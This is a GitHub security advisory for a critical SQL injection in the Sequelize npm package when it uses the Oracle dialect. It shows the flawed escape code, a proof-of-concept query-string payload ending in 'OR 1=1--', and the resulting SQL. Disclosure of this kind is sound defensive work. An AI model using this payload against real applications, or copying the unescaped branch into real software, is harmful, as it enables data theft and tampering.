GitHub Advisoryadvisory · npm
GHSA-v8fg-2rw7-q452 Sequelize: SQL Injection (Oracle DB)
CRITICAL
Official page ↗
- Aliases
- CVE-2026-69240
- Ecosystem
- npm
- Packages
- sequelize
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-89
- Reviewed
- 2026-08-03
Affected packages
• npm sequelize: < 6.37.4 → fixed in 6.37.4
Description
Summary
SQL Injection is possible with strings only if dialect is set to `oracle`.
The vulnerability was confirmed on Sequelize v6.37.3.
Details
The `escape` function defined in `sql-string.js` does not escape quotes if the value starts with `TO_TIMESTAMP` or `TO_DATE`.
```javascript
} else if (dialect === 'oracle' && typeof val === 'string') {
if (val.startsWith('TO_TIMESTAMP') || val.startsWith('TO_DATE')) {
return val;
}
val = val.replace(/'/g, "''");
}
```
PoC
Suppose the application has the following code:
```javascript
var result = await models.Student.findOne({
where: {
firstName: req.query.firstName
}
});
```
An attacker can inject arbitrary sql expressions.
`http://host/path?firstName=TO_DATE('0','Y')||'' OR 1=1--`
The resulted SQL will be:
```SQL
SELECT ... WHERE "Student"."firstName" = TO_DATE('0','Y')||'' OR 1=1-- ORDER BY "Student"."id" OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY;
```
Impact
Data theft and tampering.
Related
Alias · CVE (1)
- CVE-2026-69240 Sequelize is a Node.js ORM tool. vulnerability
Weakness · CWE (1)
- CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness